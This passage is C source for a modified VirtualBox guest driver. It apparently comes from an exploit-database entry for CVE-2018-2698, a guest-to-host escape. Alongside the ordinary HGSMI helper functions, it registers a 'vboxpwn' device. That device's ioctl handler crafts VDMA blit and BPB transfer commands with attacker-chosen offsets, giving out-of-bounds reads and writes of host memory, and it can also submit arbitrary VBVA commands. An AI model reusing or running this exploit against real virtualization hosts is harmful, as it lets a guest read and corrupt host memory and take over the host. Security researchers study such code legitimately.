@param poffHostFlags where to save the offset into the mapped area * of the host flags */ DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM, uint32_t *poffVRAMBaseMapping, uint32_t *pcbMapping, uint32_t *poffGuestHeapMemory, uint32_t *pcbGuestHeapMemory, uint32_t *poffHostFlags) { AssertPtrNullReturnVoid(poffVRAMBaseMapping); AssertPtrNullReturnVoid(pcbMapping); AssertPtrNullReturnVoid(poffGuestHeapMemory); AssertPtrNullReturnVoid(pcbGuestHeapMemory); AssertPtrNullReturnVoid(poffHostFlags); if (poffVRAMBaseMapping) *poffVRAMBaseMapping = cbVRAM - VBVA_ADAPTER_INFORMATION_SIZE; if (pcbMapping) *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE; if (poffGuestHeapMemory) *poffGuestHeapMemory = 0; if (pcbGuestHeapMemory) *pcbGuestHeapMemory = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(HGSMIHOSTFLAGS); if (poffHostFlags) *poffHostFlags = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(HGSMIHOSTFLAGS); } typedef struct VBOXVDMACBUF_DR { uint16_t fFlags; uint16_t cbBuf; /* RT_SUCCESS() - on success * VERR_INTERRUPTED - on preemption * VERR_xxx - on error */ int32_t rc; union { uint64_t phBuf; VBOXVIDEOOFFSET offVramBuf; } Location; uint64_t aGuestData[7]; } VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR; typedef struct VBOXVDMACMD { VBOXVDMACMD_TYPE enmType; uint32_t u32CmdSpecific; } VBOXVDMACMD, *PVBOXVDMACMD; // Data structures for BPB_TRANSFER typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER { uint32_t cbTransferSize; uint32_t fFlags; union { uint64_t phBuf; VBOXVIDEOOFFSET offVramBuf; } Src; union { uint64_t phBuf; VBOXVIDEOOFFSET offVramBuf; } Dst; } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; // Data structures for PRESENT_BLT typedef enum { VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0, VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20, VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21, VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22, VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23, VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24, VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25, VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26, VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27, VBOXVDMA_PIXEL_FORMAT_A8 = 28, VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29, VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30, VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31, VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32, VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33, VBOXVDMA_PIXEL_FORMAT_G16R16 = 34, VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35, VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36, VBOXVDMA_PIXEL_FORMAT_A8P8 = 40, VBOXVDMA_PIXEL_FORMAT_P8 = 41, VBOXVDMA_PIXEL_FORMAT_L8 = 50, VBOXVDMA_PIXEL_FORMAT_A8L8 = 51, VBOXVDMA_PIXEL_FORMAT_A4L4 = 52, VBOXVDMA_PIXEL_FORMAT_V8U8 = 60, VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61, VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62, VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63, VBOXVDMA_PIXEL_FORMAT_V16U16 = 64, VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65, VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67 } VBOXVDMA_PIXEL_FORMAT; typedef struct VBOXVDMA_SURF_DESC { uint32_t width; uint32_t height; VBOXVDMA_PIXEL_FORMAT format; uint32_t bpp; uint32_t pitch; uint32_t fFlags; } VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC; typedef struct VBOXVDMA_RECTL { int16_t left; int16_t top; uint16_t width; uint16_t height; } VBOXVDMA_RECTL, *PVBOXVDMA_RECTL; typedef struct VBOXVDMACMD_DMA_PRESENT_BLT { VBOXVIDEOOFFSET offSrc; VBOXVIDEOOFFSET offDst; VBOXVDMA_SURF_DESC srcDesc; VBOXVDMA_SURF_DESC dstDesc; VBOXVDMA_RECTL srcRectl; VBOXVDMA_RECTL dstRectl; uint32_t u32Reserved; uint32_t cDstSubRects; VBOXVDMA_RECTL aDstSubRects[1]; } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext; char* g_vram; typedef struct PwnRequest { uint32_t type; // 1/4 == read, 2/5 == write, 3 == custom VBVA command, // 6 == get VRAM size uint32_t size; uint64_t offset; char data[1]; } PwnRequest; static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) { printk("Handling ioctl()\n"); uint32_t size = uCmd; PwnRequest* req = (PwnRequest*)ulArg; if (size < 16) { printk("Request buffer too small (is=%d)\n", size); return -EINVAL; } if (req->type == 1) { char *p; printk("Preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD*/); if (!p) { printk("Failed to allocate HGSMI memory\n"); return -ENOMEM; } memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; pCmd->cbBuf = 0xffff; PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); pBlt->cDstSubRects = 0; pBlt->offSrc = req->offset; pBlt->offDst = p - g_vram + header_size; pBlt->srcRectl.width = 1; pBlt->srcRectl.height = req->size; pBlt->srcRectl.left = 0; pBlt->srcRectl.top = 0; pBlt->dstRectl.width = 1; pBlt->dstRectl.height = req->size; pBlt->dstRectl.left = 0; pBlt->dstRectl.top = 0; pBlt->srcDesc.width = 1; pBlt->srcDesc.height = req->size; pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; pBlt->srcDesc.bpp = 1; pBlt->srcDesc.pitch = 1; pBlt->srcDesc.fFlags = 0; pBlt->dstDesc.width = 1; pBlt->dstDesc.height = req->size; pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; pBlt->dstDesc.bpp = 1; pBlt->dstDesc.pitch = 1; pBlt->dstDesc.fFlags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) { printk("Error while sending VMDA command: %d\n", rc); return -EFAULT; } memcpy(req->data, p+header_size, req->size); } else if (req->type == 2) { char *p; printk("Preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD*/); if (!p) { printk("Failed to allocate HGSMI memory\n"); return -ENOMEM; } memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; pCmd->cbBuf = 0xffff; PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); pBlt->cDstSubRects = 0; pBlt->offSrc = p - g_vram + header_size; pBlt->offDst = req->offset; pBlt->srcRectl.width = 1; pBlt->srcRectl.height = req->size; pBlt->srcRectl.left = 0; pBlt->srcRectl.top = 0; pBlt->dstRectl.width = 1; pBlt->dstRectl.height = req->size; pBlt->dstRectl.left = 0; pBlt->dstRectl.top = 0; pBlt->srcDesc.width = 1; pBlt->srcDesc.height = req->size; pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; pBlt->srcDesc.bpp = 1; pBlt->srcDesc.pitch = 1; pBlt->srcDesc.fFlags = 0; pBlt->dstDesc.width = 1; pBlt->dstDesc.height = req->size; pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; pBlt->dstDesc.bpp = 1; pBlt->dstDesc.pitch = 1; pBlt->dstDesc.fFlags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) { printk("Error while sending VMDA command: %d\n", rc); return -EFAULT; } } else if (req->type == 3) { char *p; printk("Sending custom VBVA command (size=%u).\n", req->size); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, req->size, HGSMI_CH_VBVA, req->offset); if (!p) { printk("Failed to allocate HGSMI memory\n"); return -ENOMEM; } memcpy(p, req->data, req->size); int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) { printk("Error while sending VBVA command: %d\n", rc); return -EFAULT; } } else if (req->type == 4) { char *p; printk("Preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD*/); if (!p) { printk("Failed to allocate HGSMI memory\n"); return -ENOMEM; } memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; pCmd->cbBuf = 0xffff; PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); pBpb->cbTransferSize = req->size; pBpb->fFlags = 3; pBpb->Src.offVramBuf = req->offset; pBpb->Dst.offVramBuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) { printk("Error while sending VDMA command: %d\n", rc); return -EFAULT; } memcpy(req->data, p+header_size, req->size); } else if (req->type == 5) { char *p; printk("Preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD*/); if (!p) { printk("Failed to allocate HGSMI memory\n"); return -ENOMEM; } memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; pCmd->cbBuf = 0xffff; PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); pBpb->cbTransferSize = req->size; pBpb->fFlags = 3; pBpb->Dst.offVramBuf = req->offset; pBpb->Src.offVramBuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) { printk("Error while sending VDMA command: %d\n", rc); return -EFAULT; } memcpy(req->data, p+header_size, req->size); } else if (req->type == 6) { printk("Getting VRAM size\n"); uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA); memcpy(req->data, &vram_size, sizeof vram_size); } else { printk("Unknown request type: %d\n", req->type); return -EFAULT; } return 0; } static struct file_operations g_PwnFileOps = { owner: THIS_MODULE, unlocked_ioctl: pwnIOCtl, }; static struct miscdevice g_PwnDevice = { minor: MISC_DYNAMIC_MINOR, name: "vboxpwn", fops: &g_PwnFileOps, }; /** * Set up the HGSMI guest-to-host command context. * @returns iprt status value * @param pCtx the context to set up * @param pvGuestHeapMemory a pointer to the mapped backing memory for * the guest heap * @param cbGuestHeapMemory the size of the backing memory area * @param offVRAMGuestHeapMemory the offset of the memory pointed to by * @a pvGuestHeapMemory within the video RAM */ DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx, void *pvGuestHeapMemory, uint32_t cbGuestHeapMemory, uint32_t offVRAMGuestHeapMemory, const HGSMIENV *pEnv) { g_vram = (char*)pvGuestHeapMemory - offVRAMGuestHeapMemory; g_hgsmiContext = pCtx; printk("Registering device node. VRAM @ 0x%016lx\n", g_vram); if (!misc_register(&g_PwnDevice)) { printk("Successfully created pwn device.\n"); } else { printk("Error creating pwn device.\n"); } /** @todo should we be using a fixed ISA port value here? */ pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST; #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIInit(&pCtx->heapCtx, pvGuestHeapMemory, cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv); #else return HGSMIHeapSetup(&pCtx->heapCtx, pvGuestHeapMemory, cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv); #endif } /** * Get the information needed to map the area used by the host to send back * requests. * * @param pCtx the context containing the heap to use * @param cbVRAM how much video RAM is allocated to the device * @param offVRAMBaseMapping the offset of the basic communication structures * into the guest's VRAM * @param poffVRAMHostArea where to store the offset into VRAM of the host * heap area * @param pcbHostArea where to store the size of the host heap area */ DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t cbVRAM, uint32_t offVRAMBaseMapping, uint32_t *poffVRAMHostArea, uint32_t *pcbHostArea) { uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0; AssertPtrReturnVoid(poffVRAMHostArea); AssertPtrReturnVoid(pcbHostArea); VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbHostArea); if (cbHostArea != 0) { uint32_t cbHostAreaMaxSize = cbVRAM / 4; /** @todo what is the idea of this? */ if (cbHostAreaMaxSize >= VBVA_ADAPTER_INFORMATION_SIZE) { cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE; } if (cbHostArea > cbHostAreaMaxSize) { cbHostArea = cbHostAreaMaxSize; } /* Round up to 4096 bytes. */ cbHostArea = (cbHostArea + 0xFFF) & ~0xFFF; offVRAMHostArea = offVRAMBaseMapping - cbHostArea; } *pcbHostArea = cbHostArea; *poffVRAMHostArea = offVRAMHostArea; LogFunc(("offVRAMHostArea = 0x%08X, cbHostArea = 0x%08X\n", offVRAMHostArea, cbHostArea)); } /** * Initialise the host context structure. * * @param pCtx the context structure to initialise * @param pvBaseMapping where the basic HGSMI structures are mapped at * @param offHostFlags the offset of the host flags into the basic HGSMI * structures * @param pvHostAreaMapping where the area for the host heap is mapped at * @param offVRAMHostArea offset of the host heap area into VRAM * @param cbHostArea size in bytes of the host heap area */ DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx, void *pvBaseMapping, uint32_t offHostFlags, void *pvHostAreaMapping, uint32_t offVRAMHostArea, uint32_t cbHostArea) { uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags; pCtx->pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags; /** @todo should we really be using a fixed ISA port value here? */ pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_HOST; HGSMIAreaInitialize(&pCtx->areaCtx, pvHostAreaMapping, cbHostArea, offVRAMHostArea); } /** * Tell the host about the ways it can use to communicate back to us via an * HGSMI command * * @returns iprt status value * @param pCtx the context containing the heap to use * @param offVRAMFlagsLocation where we wish the host to place its flags * relative to the start of the VRAM * @param fCaps additions HGSMI capabilities the guest * supports * @param offVRAMHostArea offset into VRAM of the host heap area * @param cbHostArea size in bytes of the host heap area */ DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, HGSMIOFFSET offVRAMFlagsLocation, uint32_t fCaps, uint32_t offVRAMHostArea, uint32_t cbHostArea) { Log(("VBoxVideo::vboxSetupAdapterInfo\n")); /* setup the flags first to ensure they are initialized by the time the * host heap is ready */ int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation); AssertRC(rc); if (RT_SUCCESS(rc) && fCaps) { /* Inform about caps */ rc = vboxHGSMISendCapsInfo(pCtx, fCaps); AssertRC(rc); } if (RT_SUCCESS (rc)) { /* Report the host heap location. */ rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea); AssertRC(rc); } Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc)); return rc; } /** Sanity test on first call. We do not worry about concurrency issues. */ static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx) { static bool cOnce = false; uint32_t ulValue = 0; int rc; if (cOnce) return VINF_SUCCESS; cOnce = true; rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulValue); if (RT_SUCCESS(rc) && ulValue == UINT32_MAX) return VINF_SUCCESS; cOnce = false; if (RT_FAILURE(rc)) return rc; return VERR_INTERNAL_ERROR; } /** * Query the host for an HGSMI configuration parameter via an HGSMI command. * @returns iprt status value * @param pCtx the context containing the heap used * @param u32Index the index of the parameter to query, * @see VBVACONF32::u32Index * @param u32DefValue defaut value * @param pulValue where to store the value of the parameter on success */ DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue) { int rc = VINF_SUCCESS; VBVACONF32 *p; LogFunc(("u32Index = %d\n", u32Index)); rc = testQueryConf(pCtx); if (RT_FAILURE(rc)) return rc; /* Allocate the IO buffer. */ p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACONF32), HGSMI_CH_VBVA, VBVA_QUERY_CONF32); if (p) { /* Prepare data to be sent to the host. */ p->u32Index = u32Index; p->u32Value = u32DefValue; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) { *pulValue = p->u32Value; LogFunc(("u32Value = %d\n", p->u32Value)); } /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, p); } else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; } DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t u32Index, uint32_t *pulValue) { return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue); } /** * Pass the host a new mouse pointer shape via an HGSMI command. * * @returns success or failure * @param fFlags cursor flags, @see VMMDevReqMousePointer::fFlags * @param cHotX horizontal position of the hot spot * @param cHotY vertical position of the hot spot * @param cWidth width in pixels of the cursor * @param cHeight height in pixels of the cursor * @param pPixels pixel data, @see VMMDevReqMousePointer for the format * @param cbLength size in bytes of the pixel data */ DECLHIDDEN(int) VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t fFlags, uint32_t cHotX, uint32_t cHotY, uint32_t cWidth, uint32_t cHeight, uint8_t *pPixels, uint32_t cbLength) { VBVAMOUSEPOINTERSHAPE *p; uint32_t cbData = 0; int rc = VINF_SUCCESS; if (fFlags & VBOX_MOUSE_POINTER_SHAPE) { /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) */ cbData = ((((cWidth + 7) / 8) * cHeight + 3) & ~3) + cWidth * 4 * cHeight; /* If shape is supplied, then always create the pointer visible. * See comments in 'vboxUpdatePointerShape' */ fFlags |= VBOX_MOUSE_POINTER_VISIBLE; } LogFlowFunc(("cbData %d, %dx%d\n", cbData, cWidth, cHeight)); if (cbData > cbLength) { LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n", cbData, cbLength)); return VERR_INVALID_PARAMETER; } /* Allocate the IO buffer. */ p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVAMOUSEPOINTERSHAPE) + cbData, HGSMI_CH_VBVA, VBVA_MOUSE_POINTER_SHAPE); if (p) { /* Prepare data to be sent to the host. */ /* Will be updated by the host. */ p->i32Result = VINF_SUCCESS; /* We have our custom flags in the field */ p->fu32Flags = fFlags; p->u32HotX = cHotX; p->u32HotY = cHotY; p->u32Width = cWidth; p->u32Height = cHeight; if (p->fu32Flags & VBOX_MOUSE_POINTER_SHAPE) /* Copy the actual pointer data. */ memcpy (p->au8Data, pPixels, cbData); rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) rc = p->i32Result; /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, p); } else rc = VERR_NO_MEMORY; LogFlowFunc(("rc %d\n", rc)); return rc; } /** * Report the guest cursor position. The host may wish to use this information * to re-position its own cursor (though this is currently unlikely). The * current host cursor position is returned. * @param pCtx The context containing the heap used. * @param fReportPosition Are we reporting a position? * @param x Guest cursor X position. * @param y Guest cursor Y position. * @param pxHost Host cursor X position is stored here. Optional. * @param pyHost Host cursor Y position is stored here. Optional. * @returns iprt status code. * @returns VERR_NO_MEMORY HGSMI heap allocation failed. */ DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y, uint32_t *pxHost, uint32_t *pyHost) { int rc = VINF_SUCCESS; VBVACURSORPOSITION *p; Log(("%s: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y)); /* Allocate the IO buffer. */ p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION); if (p) { /* Prepare data to be sent to the host. */ p->fReportPosition = fReportPosition ? 1 : 0; p->x = x; p->y = y; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) { if (pxHost) *pxHost = p->x; if (pyHost) *pyHost = p->y; Log(("%s: return: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)p->x, (unsigned)p->y)); } /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, p); } else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; } /** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain * host information which is needed by the guest. * * Reading will not cause a switch to the host. * * Have to take into account: * * synchronization: host must write to the memory only from EMT, * large structures must be read under flag, which tells the host * that the guest is currently reading the memory (OWNER flag?). * * guest writes: may be allocate a page for the host info and make * the page readonly for the guest. * * the information should be available only for additions drivers. * * VMMDev additions driver will inform the host which version of the info it expects, * host must support all versions. * */ ```
idSSV:97104
last seen2018-01-26
modified2018-01-26
published2018-01-26
reporterRoot
titleOracle VirtualBox Multiple Guest to Host Escape Vulnerabilities(CVE-2018-2698)